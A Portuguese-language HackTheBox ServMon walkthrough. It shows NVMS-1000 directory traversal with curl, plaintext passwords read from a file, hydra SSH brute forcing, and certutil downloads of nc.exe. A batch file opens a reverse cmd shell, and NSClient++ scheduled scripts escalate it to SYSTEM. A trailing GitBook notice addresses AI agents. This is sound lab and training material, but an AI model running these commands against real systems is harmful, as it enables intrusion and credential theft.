> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/servmon-hackthebox-writeup.md). # Resolução do HackTheBox ServMon Exploração do ServMon por meio de NVMS-1000 e NSClient++. {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Reconhecimento de rede e enumeração de FTP * Travessia de diretório no NVMS-1000 * Escalada de privilégios no NSClient++ por meio de scripts externos {% endhint %} ## Reconhecimento Crie um diretório de trabalho e confirme que o alvo está acessível. ```bash mkdir {nmap,content,exploits,scripts} ping -c 1 10.129.227.77 ``` O TTL indica um host Windows.
Execute uma varredura TCP completa. ```bash sudo nmap -p- --open -n -vvv -sS --min-rate 5000 10.129.227.77 -Pn -oG allPorts ```
A varredura identifica estas portas abertas: > 21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670
Identifique os serviços expostos e as versões. {% code overflow="wrap" %} ```bash nmap -sCV -p21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670 10.129.227.77 -oN targeted ``` {% endcode %} As descobertas relevantes são: {% code overflow="wrap" %} ```java # Varredura do Nmap 7.93 iniciada em Wed Sep 23 10:50:11 2026 as: nmap -sCV -p21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670 -oN targeted 10.129.227.77 Relatório de varredura do Nmap para 10.129.227.77 Host está ativo (0.030s de latência). PORTA ESTADO SERVIÇO VERSÃO 21/tcp aberta ftp Microsoft ftpd | ftp-syst: |_ SYST: Windows_NT | ftp-anon: Login FTP anônimo permitido (código FTP 230) |_02-28-22 07:35PM Users 22/tcp aberta ssh OpenSSH for_Windows_8.0 (protocolo 2.0) | ssh-hostkey: | 3072 c71af681ca1778d027dbcd462a092b54 (RSA) | 256 3e63ef3b6e3e4a90f34c02e940672e42 (ECDSA) |_ 256 5a48c8cd39782129effbae821d03adaf (ED25519) 80/tcp aberta http | fingerprint-strings: | GetRequest, HTTPOptions, RTSPRequest: | HTTP/1.1 200 OK | Content-type: text/html | Content-Length: 340 | Connection: close | AuthInfo: | | | | | | | | | | NULL: | HTTP/1.1 408 Request Timeout | Content-type: text/html | Content-Length: 0 | Connection: close |_ AuthInfo: |_http-title: O site não tem um título (text/html). 135/tcp aberta msrpc Microsoft Windows RPC 139/tcp aberta netbios-ssn Microsoft Windows netbios-ssn 445/tcp aberta microsoft-ds? 5666/tcp aberta tcpwrapped 6063/tcp aberta tcpwrapped 6699/tcp aberta napster? 8443/tcp aberta ssl/https-alt | http-title: NSClient++ |_Recurso solicitado foi /index.html |_ssl-date: a aleatoriedade do TLS não representa o tempo | fingerprint-strings: | FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions: | HTTP/1.1 404 | Content-Length: 18 | Documento não encontrado | GetRequest: | HTTP/1.1 302 | Content-Length: 0 | Location: /index.html | workers |_ jobs | ssl-cert: Subject: commonName=localhost | Não válido antes de: 2020-01-14T13:24:20 |_Não válido depois de: 2021-01-13T13:24:20 49664/tcp aberta msrpc Microsoft Windows RPC 49665/tcp aberta msrpc Microsoft Windows RPC 49666/tcp aberta msrpc Microsoft Windows RPC 49667/tcp aberta msrpc Microsoft Windows RPC 49668/tcp aberta msrpc Microsoft Windows RPC 49669/tcp aberta msrpc Microsoft Windows RPC 49670/tcp aberta msrpc Microsoft Windows RPC 2 serviços não foram reconhecidos apesar de retornarem dados. Se você conhece o serviço/versão, envie as seguintes impressões digitais em https://nmap.org/cgi-bin/submit.cgi?new-service : ==============PRÓXIMA IMPRESSÃO DIGITAL DE SERVIÇO (ENVIE INDIVIDUALMENTE)============== SF-Port80-TCP:V=7.93%I=7%D=9/23%Time=6AB392CA%P=x86_64-pc-linux-gnu%r(NULL SF:,6B,"HTTP/1\.1\x20408\x20Request\x20Timeout\r\nContent-type:\x20text/ht SF:ml\r\nContent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n SF:\r\n")%r(GetRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20tex SF:t/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x SF:20\r\n\r\n\xef\xbb\xbf\r\n\r\n\r\n\r\n\x20\x20\x20\x20\r\n\x20\ SF:x20\x20\x20\r\n\x20\x20\x20\x20\x20 SF:\x20\x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x2 SF:0\x20\x20\x20\r\n\r\n\r\n\r\n\r\n") SF:%r(HTTPOptions,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/htm SF:l\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\ SF:n\r\n\xef\xbb\xbf\r\n\r\n\r\n\r\n\x20\x20\x20\x20\r\n\x20\x20\x SF:20\x20\r\n\x20\x20\x20\x20\x20\x20\ SF:x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20 SF:\x20\x20\r\n\r\n\r\n\r\n\r\n")%r(RT SF:SPRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r\n SF:Content-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n SF:\xef\xbb\xbf\r\n\r\n\r\n\r\n\x20\x20\x20\x20\r\n\x20\x20\x20\x2 SF:0\r\n\x20\x20\x20\x20\x20\x20\x20\ SF:20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\x20\ SF:x20\r\n\r\n\r\n\r\n\r\n"); ==============PRÓXIMA IMPRESSÃO DIGITAL DE SERVIÇO (ENVIE INDIVIDUALMENTE)============== SF-Port8443-TCP:V=7.93%T=SSL%I=7%D=9/23%Time=6AB392D0%P=x86_64-pc-linux-gn SF:u%r(GetRequest,74,"HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocation SF::\x20/index\.html\r\n\r\n\0\0\0\0\0\0\0\0\0\0W\x02\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0\0\x12\x02\x18\0\x1aE\n\x07workers\x12\x0b\n\x04jobs\x12\x03 SF:\x18\xbc\x02\x12")%r(HTTPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length SF::\x2018\r\n\r\nDocument\x20not\x20found")%r(FourOhFourRequest,36,"HTTP/ SF:1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20found")% SF:r(RTSPRequest,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocu SF:ment\x20not\x20found")%r(SIPOptions,36,"HTTP/1\.1\x20404\r\nContent-Len SF:gth:\x2018\r\n\r\nDocument\x20not\x20found"); Informações do serviço: SO: Windows; CPE: cpe:/o:microsoft:windows Resultados dos scripts do host: | smb2-security-mode: | 311: |_ Assinatura de mensagens habilitada, mas não obrigatória | smb2-time: | date: 2026-09-23T08:52:06 |_ start_date: N/A A detecção de serviço foi executada. Reporte quaisquer resultados incorretos em https://nmap.org/submit/ . # Nmap concluído em Wed Sep 23 10:52:19 2026 -- 1 endereço IP (1 host ativo) verificado em 128.03 seconds ``` {% endcode %} ### Enumeração de FTP O acesso anônimo ao FTP está habilitado. {% code overflow="wrap" %} ```bash ftp anonymous@10.129.227.77 ``` {% endcode %}
O `Users/Nadine` o diretório contém uma nota para Nathan. {% code overflow="wrap" %} ```bash Nathan, Eu deixei seu arquivo Passwords.txt na sua área de trabalho. Remova-o depois de editá-lo você mesmo e coloque-o de volta na pasta segura. Atenciosamente Nadine ``` {% endcode %}
O diretório do Nathan contém a seguinte lista de tarefas: {% code overflow="wrap" %} ```bash 1) Alterar a senha do NVMS - Concluído 2) Restringir o acesso do NSClient - Concluído 3) Enviar as senhas 4) Remover o acesso público ao NVMS 5) Colocar os arquivos secretos no SharePoint ``` {% endcode %}
### Travessia de diretório no NVMS-1000 Porta `80` hospeda o NVMS-1000.
O Searchsploit identifica uma vulnerabilidade de travessia de diretório. {% code overflow="wrap" %} ```bash searchsploit nvms 1000 ``` {% endcode %}
A seguinte prova de conceito confirma inclusão local de arquivos: {% embed url="" %} {% code overflow="wrap" %} ```bash curl --path-as-is http://10.129.227.77/../../../../../../../../../../../../windows/win.ini ``` {% endcode %} A resposta confirma que arquivos locais arbitrários podem ser lidos.
Leia o arquivo de senhas do Nathan: {% code overflow="wrap" %} ```bash curl --path-as-is http://10.129.227.77/../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt ``` {% endcode %} > 1nsp3ctTh3Way2Mars!\ > Th3r34r3To0M4nyTrait0r5!\ > B3WithM30r4ga1n5tMe\ > L1k3B1gBut7s\@W0rk\ > 0nly7h3y0unGWi11F0l10w\ > IfH3s4b0Utg0t0H1sH0me\ > Gr4etN3w5w17hMySk1Pa5$
Teste as senhas recuperadas contra os usuários locais conhecidos. 
hydra -l nadine -P passwords.txt ssh://10.129.227.77 -s 22 -t 15
hydra -l nathan -P passwords.txt ssh://10.129.227.77 -s 22 -t 15
Isso identifica credenciais SSH válidas: * nadine * L1k3B1gBut7s\@W0rk
Conecte-se via SSH como Nadine. {% code overflow="wrap" %} ```bash ssh nadine@10.129.227.77 ``` {% endcode %} Leia a flag do usuário. {% code overflow="wrap" %} ```bash type C:\Users\Nadine\Desktop\user.txt ``` {% endcode %}
## Escalada de privilégios com NSClient++ O NSClient++ está instalado em `C:\Program Files`.
Exiba a senha da interface web do NSClient++. {% code overflow="wrap" %} ```bash nscp web -- password --display ``` {% endcode %} * ew2x6SsGTxjRwXOT
A interface web escuta na porta `8443`. ### Configure um script externo do NSClient++ Esta técnica segue as instruções publicadas do exploit do NSClient++. {% embed url="" %} Confirme a versão instalada do NSClient++. {% code overflow="wrap" %} ```bash nscp --version ``` {% endcode %}
O serviço está vinculado localmente. Acesse-o por meio de um túnel SSH.
vamos fazer encaminhamento de portas {% code overflow="wrap" %} ```bash ssh -L 8443:127.0.0.1:8443 nadine@10.129.227.77 ``` {% endcode %} Abrir `https://127.0.0.1:8443` e autentique-se com a senha recuperada.
Certifique-se de que estes módulos estejam habilitados: ```bash CheckExternalScripts Scheduler ```
Transferir `nc.exe` e o payload para o alvo. {% code overflow="wrap" %} ```bash localize nc.exe mv /opt/lists/seclists/Web-Shells/FuzzDB/nc.exe . python3 -m http.server 8081 ``` {% endcode %} No alvo, baixe ambos os arquivos: {% code overflow="wrap" %} ```bash certutil -urlcache -split -f "http://:8081/nc.exe" nc.exe certutil -urlcache -split -f "http://:8081/evil.bat" evil.bat ``` {% endcode %} Criar `evil.bat` no alvo: {% code overflow="wrap" %} ```bash @echo off C:\Users\Nadine\Desktop\nc.exe 443 -e cmd.exe ``` {% endcode %} Inicie um listener na porta `443`. {% code overflow="wrap" %} ```bash sudo rlwrap nc -nvlp 443 ``` {% endcode %}
Crie um script externo na interface web do NSClient++: {% code overflow="wrap" %} ```bash Configurações > Scripts Externos > Scripts Seção: /settings/external scripts/scripts/evil Chave : command Valor: C:\Users\Nadine\Desktop\evil.bat ``` {% endcode %}
Crie um agendamento em **Configurações → Agendador → Agendamentos**. Defina o intervalo: {% code overflow="wrap" %} ```bash Seção: /settings/scheduler/schedules/evil Chave: interval Valor: 1m ``` {% endcode %}
Configure o comando agendado: {% code overflow="wrap" %} ```bash Seção: /settings/scheduler/schedules/evil Chave: command Valor: evil ``` {% endcode %}
Salve as configurações e reinicie o serviço.
Execute a consulta para acionar o script agendado. O listener recebe um shell como `SYSTEM`.
Leia a flag de root. {% code overflow="wrap" %} ```bash type C:\Users\Administrator\Desktop\root.txt ``` {% endcode %}
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/servmon-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.